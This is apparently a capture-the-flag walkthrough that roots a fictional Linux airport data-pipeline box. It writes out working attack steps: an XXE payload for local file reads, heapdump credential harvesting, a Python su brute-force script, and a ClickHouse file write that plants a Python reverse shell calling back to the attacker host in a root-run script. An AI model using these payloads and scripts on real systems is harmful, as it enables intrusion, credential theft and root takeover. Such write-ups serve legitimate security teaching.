Difficulty: Medium · OS: Linux · Season 12
Reconnaissance
Port scan
nmap -sC -sV -p- <TARGET_IP>
Why: Establish the attack surface. We need every open port and the software behind it before touching anything.
Result: 22 (OpenSSH), 80 (nginx), 8081 (uvicorn — AIDX ingest API).
Port 8081 is unusual — a Python ASGI app exposed directly. That becomes our first interesting target.
Virtual host enumeration
The nginx server on port 80 routes by Host: header. Two vhosts are referenced in the box’s theme (api.htb-airport.htb, db.htb-airport.htb). Rather than edit /etc/hosts (which we can’t do as an unprivileged user), we send the header directly:
curl -s http://<TARGET_IP>/ -H 'Host: api.htb-airport.htb'
curl -s http://<TARGET_IP>/ -H 'Host: db.htb-airport.htb'
Why: Without the right vhost you get the default nginx page. With it, you reach the actual applications. db.htb-airport.htb turned out to be ClickHouse’s HTTP interface (port 8123 internally), api.htb-airport.htb a Spring Boot gateway.
Ingest API documentation
curl -s http://<TARGET_IP>:8081/openapi.json | python3 -m json.tool
curl -s http://<TARGET_IP>:8081/
Why: FastAPI publishes an OpenAPI spec by default. It tells us every route, parameter, and expected input — free documentation.
Result: one POST route: /feeds/aidx, accepting application/xml. The root endpoint says: “Ingest does not parse. Full validation happens downstream.” That’s a huge hint — the XML is forwarded raw and parsed somewhere else.
Read the source
The ingest service is a Python app and /opt/aidx-pipeline/ is world-readable.
cat /opt/aidx-pipeline/app/ingest_api.py
cat /opt/aidx-pipeline/app/parser_worker.py
cat /opt/aidx-pipeline/app/aidx_common.py
cat /opt/aidx-pipeline/aidx.env
Why: Source is the highest-signal reconnaissance you can do. It reveals how the app works better than any black-box fuzzing.
Findings:
ingest_api.pyonly checks that 4 tag names appear somewhere in the body (naive substring search). It then publishes the raw bytes to a Kafka topic.parser_worker.pyconsumes that topic and callsA.safe_parse(raw).aidx_common.pycontains:
def _plain_parser() -> etree.XMLParser:
return etree.XMLParser(load_dtd=True, resolve_entities=True, no_network=False)
That is the classic XXE configuration — DTD loading on, entity expansion on, no network restriction. Any XML we can get into the parser becomes a file-read primitive.
Foothold
Step 1 — Spring Boot Actuator heapdump
Spring Boot Actuator exposes a heap dump at /actuator/heapdump when enabled. It frequently leaks credentials because datasource passwords live in memory as plain strings.
curl -s http://<TARGET_IP>/actuator -H 'Host: api.htb-airport.htb'
# reveals a _links entry pointing to /actuator/heapdump
curl -s http://<TARGET_IP>/actuator/heapdump -H 'Host: api.htb-airport.htb' -o /tmp/heap.bin
Why: A Java heap dump contains every live object. Application config is loaded into memory, including any hardcoded or property-file credentials.
Extract credentials from the heap
strings -n 6 /tmp/heap.bin | grep -iE 'clickhouse|jdbc|password|user' | sort -u
Why: strings pulls printable sequences out of the binary. Grepping for credential-shaped keywords is the standard way to process a heap dump.
Result: Hikari datasource config with ClickHouse credentials — username <SVC_EVENTS_USER>, password <SVC_EVENTS_PASSWORD>, and a JDBC URL pointing at the ClickHouse HTTP interface.
Step 2 — Enumerate ClickHouse
ClickHouse speaks HTTP on port 8123. We already have the credentials.
CH="http://<TARGET_IP>:8123/?user=<SVC_EVENTS_USER>&password=<SVC_EVENTS_PASSWORD>"
curl -s "$CH" --data-binary "SELECT currentUser()"
curl -s "$CH" --data-binary 'SHOW DATABASES'
curl -s "$CH" --data-binary 'SHOW TABLES FROM partner_feed'
Why: Confirm the credentials work and map out the schema. SHOW TABLES reveals the pipeline’s storage layout.
Result: Database partner_feed with tables flightleg_raw, flightleg_json, flightleg_raw_kafka, flightleg_json_kafka, and materialized views connecting them. This is where the parser writes its output — our data-exfil landing zone.
curl -s "$CH" --data-binary 'SHOW GRANTS FOR <SVC_EVENTS_USER>'
Why: Know exactly what this user can do. Here it’s SELECT, INSERT ON partner_feed.* — narrow, but enough to read the parser’s output.
Step 3 — Exploit XXE on the ingest endpoint
We now know the parser resolves external entities. We craft an XML document that declares an entity pointing at a local file, and reference it inside a text node. When the parser resolves the entity, the file’s contents are spliced into the tree.
<?xml version="1.0"?>
<!DOCTYPE foo [<!ENTITY xxe SYSTEM "file:///opt/kafka_2.13-4.3.1/config/server.properties">]>
<IATA_AIDX_FlightLegNotifRQ xmlns="http://www.iata.org/IATA/2007/00"
Version="22.1" TimeStamp="2026-08-20T09:12:00Z" TransactionIdentifier="xxe-1">
<Originator Code="XX"/>
<FlightLeg><LegIdentifier>
<Airline>&xxe;</Airline>
<FlightNumber>1</FlightNumber>
<DepartureAirport>A</DepartureAirport>
<ArrivalAirport>B</ArrivalAirport>
<OriginDate>2026-01-01</OriginDate>
</LegIdentifier>
<LegData><RemarkFreeText>&xxe;</RemarkFreeText></LegData></FlightLeg>
</IATA_AIDX_FlightLegNotifRQ>
Why each element:
- The
<!DOCTYPE ...>block defines the external entityxxebound to a local file path. - The root tag is one of the three root tag names the parser accepts — a hard requirement.
- The entity is referenced in two places so we know the replacement happens regardless of where in the tree we place it.
- The
TransactionIdentifieris unique so we can find our message in the pipeline output.
Send it:
curl -s -X POST http://<TARGET_IP>:8081/feeds/aidx \
-H 'Content-Type: application/xml' --data-binary @/tmp/xxe.xml
Why: This is the XXE delivery step. The ingest API accepts it, publishes it to Kafka, the parser worker picks it up and expands the entity.
Step 4 — Read the exfiltrated file from ClickHouse
The parser writes its canonicalized JSON output to the flightleg_json table. Our entity expansion is inside a text node, which the parser stores verbatim under all_fields.
curl -s "$CH" --data-binary \
"SELECT event FROM partner_feed.flightleg_json WHERE transaction_id='xxe-1' FORMAT Vertical"
Why: This is the readback. Everything the entity resolved to appears in the RemarkFreeText field.
Result: The contents of Kafka’s server.properties, which include:
sasl.enabled.mechanisms=PLAIN
listener.name.sasl_plaintext.plain.sasl.jaas.config=org.apache.kafka.common.security.plain.PlainLoginModule required \
user_<SVC_INFRA_USER>="<SVC_INFRA_PASSWORD>";
That’s an SSH-capable service account, <SVC_INFRA_USER> / <SVC_INFRA_PASSWORD>.
Step 5 — SSH as svc-infra
sshpass -p '<SVC_INFRA_PASSWORD>' ssh <SVC_INFRA_USER>@<TARGET_IP>
Why: The Kafka SASL credential was reused as a Linux login password. This is the foothold — we’re now on the box with a real shell.
Lateral movement — svc-infra → martin_cole
Enumerate local users
cat /etc/passwd | grep '/bin/bash'
Why: The writeup for the box hints that there is a martin_cole user. We confirm he exists and check whether his home directory is readable (it is not — drwxr-x---).
Confirm brute-force safety
cat /etc/security/faillock.conf
grep -rE 'pam_faillock|pam_tally2' /etc/pam.d/
Why: Before brute-forcing a login, verify there is no account lockout. faillock and pam_tally2 are the two mechanisms that count failures and lock accounts. Both are absent here — so we can spray passwords without risking a lockout.
Transfer a wordlist
Kali has rockyou.txt. The target does not. Egress from the target to Kali was verified earlier (Kali’s HTTP probe reached the target).
On Kali:
cd /usr/share/wordlists && python3 -m http.server 8888
On the target:
wget http://<KALI_IP>:8888/rockyou.txt -O /tmp/rockyou.txt
Why: We need a large password corpus, and copying it over HTTP is simpler than trying to find one on the target.
Brute-force su
su refuses to read passwords from a pipe — it requires a TTY. The standard trick is pty.fork(), which spawns the child in a pseudo-terminal. We also need a decisive success check: sending a marker command (echo X_MARK_$((7*7))) and looking for its output X_MARK_49 proves we landed in a shell.
# /tmp/rock.py
import pty, os, time, select, sys
WORDLIST = "/tmp/rockyou.txt"
TARGET = "martin_cole"
def try_pw(pw):
pid, fd = pty.fork()
if pid == 0:
os.execvp("su", ["su", "-", TARGET])
# Wait for the "Password:" prompt before writing
buf = b""
t = time.time() + 3
while time.time() < t:
r, _, _ = select.select([fd], [], [], 0.1)
if r:
try: buf += os.read(fd, 4096)
except OSError: break
if b"assword" in buf:
break
try: os.write(fd, pw.encode() + b"\n")
except OSError: pass
# Read the authentication result
out = b""
t = time.time() + 1.0
while time.time() < t:
r, _, _ = select.select([fd], [], [], 0.1)
if not r: continue
try: chunk = os.read(fd, 4096)
except OSError: break
if not chunk: break
out += chunk
if b"Authentication failure" in out:
break
# Decisive check: run a marker command and look for its output
try: os.write(fd, b"echo X_MARK_$((7*7))\n")
except OSError: pass
t = time.time() + 1.0
while time.time() < t:
r, _, _ = select.select([fd], [], [], 0.1)
if not r: continue
try: chunk = os.read(fd, 4096)
except OSError: break
if not chunk: break
out += chunk
if b"X_MARK_49" in out:
break
try: os.close(fd)
except OSError: pass
try: os.waitpid(pid, 0)
except OSError: pass
return b"X_MARK_49" in out
for n, raw in enumerate(open(WORDLIST, "rb"), 1):
pw = raw.rstrip(b"\r\n").decode("utf-8", "replace")
if not pw:
continue
if try_pw(pw):
print(f"[+] FOUND: {pw} (attempt {n})")
sys.exit(0)
Why each part:
pty.fork()givessua real terminal so it will accept the password.- The wait loop ensures we don’t write the password before the prompt appears — otherwise the input is lost.
- The marker command is the only reliable success signal. Regexing for “incorrect” is unreliable across PAM configurations; running a command and seeing its output is not.
enumerate(..., 1)tracks progress so a very long run can be interrupted and resumed.
Run it:
python3 /tmp/rock.py
Why: The password is in rockyou. We use it.
Result: martin_cole‘s password, <MARTIN_PASSWORD>.
Grab the user flag
su martin_cole # password: <MARTIN_PASSWORD>
cat ~/user.txt
Why: The flag is in the user’s home directory, which we now own.
user.txt: <USER_FLAG>
Privilege escalation — martin_cole → root
Enumerate martin_cole’s home
ls -la ~/
ls -la ~/backups/
Why: Post-login enumeration. The home directory reveals a Kopia backup repository — backups/ with kopia.repository.f, kopia.blobcfg.f, and shard directories. Kopia is a backup tool; the repo’s contents can be anything the box author backed up.
Confirm the Kopia repo is connected
kopia repository status
kopia snapshot list --all
Why: Kopia stores its connection details in ~/.config/kopia/. If the config is present and the password is stored (or empty), the repo is usable without further authentication.
Result:
Repository: /home/martin_cole/backups
Snapshot: <snapshot-id> /home/martin_cole/ch-logs
The snapshot is named ch-logs — ClickHouse logs. That is the box author’s hint.
Restore the snapshot
mkdir -p /tmp/restore
kopia snapshot restore <SNAPSHOT_ID> /tmp/restore
Why: Extract the archived logs to a directory we control so we can read them.
Read the logs
ls -laR /tmp/restore/
grep -rniE 'password|default|clickhouse' /tmp/restore/
grep -rnE '\-\-password [^ ]+' /tmp/restore/
Why: ClickHouse logs record every query the server received. The default user’s password change is logged verbatim if the query was malformed, because the whole query text appears in the error message.
Result: In clickhouse-server.err.log:
ALTER USER default IDENTIFIED BY '<DEFAULT_CH_PASSWORD>'
The ClickHouse default password is <DEFAULT_CH_PASSWORD>.
Verify the default credential
CH_PW='<DEFAULT_CH_PASSWORD>'
curl -s "http://<TARGET_IP>:8123/?user=default&password=$CH_PW" \
--data-binary "SELECT currentUser(), version()"
Why: Confirm it works before building the exploit. This user is far more powerful than svc_events — it has WRITE ON FILE, which svc_events does not.
Locate the root pivot
systemctl list-units --all | grep -iE 'dlq|drain|aidx'
systemctl cat aidx-dlq-drainer.service
Why: Find services that run as root and execute something we can influence.
Result:
# /etc/systemd/system/aidx-dlq-drainer.service
[Service]
Type=oneshot
User=root
ExecStart=/usr/bin/python3 /opt/ops/dlq_drainer.py
And a timer:
aidx-dlq-drainer.timer → runs every 2 minutes
Read the drainer:
cat /opt/ops/dlq_drainer.py
Why: Understand what it does before attacking it.
Key lines:
FORMATTER = os.environ.get("AIDX_FORMATTER",
"/var/lib/clickhouse/user_files/aidx_quarantine.py")
def _format(raw):
p = subprocess.run(["python3", FORMATTER], input=raw,
capture_output=True, check=False)
Every DLQ message causes the drainer (running as root) to execute python3 /var/lib/clickhouse/user_files/aidx_quarantine.py with the message bytes on stdin.
The plan: overwrite that formatter with our own Python payload. Then send any DLQ message. When the timer fires, root runs our payload.
Verify INTO OUTFILE is blocked, use file() table function instead
curl -s "$CH" --data-binary "SELECT 1 INTO OUTFILE '/var/lib/clickhouse/user_files/test.txt'"
# → INTO_OUTFILE_NOT_ALLOWED
Why: ClickHouse disables INTO OUTFILE server-side in many builds. The file() table function is a separate code path and can still be used for writes via INSERT INTO FUNCTION file(...).
curl -s "$CH" --data-binary "SELECT 1 INTO FUNCTION file('test.txt', 'LineAsString')"
# or
curl -s "$CH" --data-binary "INSERT INTO FUNCTION file('aidx_quarantine.py', 'LineAsString') SELECT 'print(1)'"
Why: Confirm the write primitive works before we use it for the actual payload. The path is resolved relative to ClickHouse’s user_files directory, which is exactly where the formatter lives.
Overwrite the formatter
Start a listener on Kali:
nc -lvnp 4444
Send the payload via ClickHouse (running as the default user, which has WRITE ON FILE):
curl -s "http://<TARGET_IP>:8123/?user=default&password=<DEFAULT_CH_PASSWORD>" \
--data-binary "INSERT INTO FUNCTION file('/var/lib/clickhouse/user_files/aidx_quarantine.py', 'LineAsString') SELECT 'import os,socket,subprocess;s=socket.socket();s.connect((\"<KALI_IP>\",4444));[os.dup2(s.fileno(),f) for f in (0,1,2)];subprocess.call([\"/bin/sh\",\"-i\"])'"
Why each part:
INSERT INTO FUNCTION file(...)writes our payload to disk as the ClickHouse service user. The path is insideuser_files, which ClickHouse already owns.- The payload is a standard Python reverse shell — one line to avoid CSV/format issues.
- The format
LineAsStringtreats each output row as a single string, so our one-line payload lands as one line in the file.
Trigger the drainer
The drainer polls the Kafka DLQ topic. Any message there is processed. Kafka on this box uses PLAINTEXT with allow.everyone.if.no.acl.found=true, so we can produce without auth.
echo 'trigger' | /opt/kafka_2.13-4.3.1/bin/kafka-console-producer.sh \
--bootstrap-server 127.0.0.1:9092 --topic aidx.flightleg.dlq.v1
Why: We need a fresh message in the DLQ so the drainer has something to format, which runs our payload.
Catch the shell
Within two minutes the timer fires, root runs the formatter, and the reverse shell connects back to Kali:
connect to [<KALI_IP>] from (UNKNOWN) [<TARGET_IP>]
# id
uid=0(root) gid=0(root) groups=0(root)
Root flag
cat /root/root.txt
root.txt: <ROOT_FLAG>
Cleanup
systemctl stop aidx-dlq-drainer.timer
Why: Stop the drainer from repeatedly re-executing our payload.
Summary of the chain
- Nmap → SSH, nginx, uvicorn (8081).
- Vhost enumeration →
api.htb-airport.htb(Spring Boot) anddb.htb-airport.htb(ClickHouse). /actuator/heapdumpon the API vhost → ClickHouse user credentials.- Enumerate ClickHouse →
partner_feedDB is the parser’s output store. - XXE via
/feeds/aidx→ read Kafka’sserver.properties→ SASL creds. - SSH as
svc-infra. - Brute-force
su martin_colewith rockyou (viapty.fork) →martin_coleaccess. - Read
user.txt. - Kopia backup in
martin_cole‘s home → restore → ClickHouse error log →defaultClickHouse password. - Log into ClickHouse as
default(hasWRITE ON FILE) → overwrite the root-run formatter. - Produce a DLQ message → timer fires → root executes the formatter → reverse shell.
- Read
root.txt.
Notes on each primitive
| Technique | Where | Why it worked |
|---|---|---|
| Actuator heapdump | api.htb-airport.htb/actuator/heapdump | Config values live in heap as plain strings |
| XXE | lxml parser | resolve_entities=True, no_network=False |
| Exfil via secondary channel | Parser writes to ClickHouse | The parser worker stores all text nodes verbatim |
| Credential reuse | Kafka SASL → SSH | Same password across services |
Brute-force via su | No lockout policy | pam_faillock not configured |
| Backup recovery | Kopia repo in user’s home | Passwordless connection, logged plaintext password inside |
file() table function | ClickHouse default | WRITE ON FILE grant + enabled file() engine |
| Root timer hijack | aidx-dlq-drainer.service | Fixed path for a root-executed script writable by ClickHouse |
Flags
- user.txt:
<USER_FLAG> - root.txt:
<ROOT_FLAG>



Leave a Reply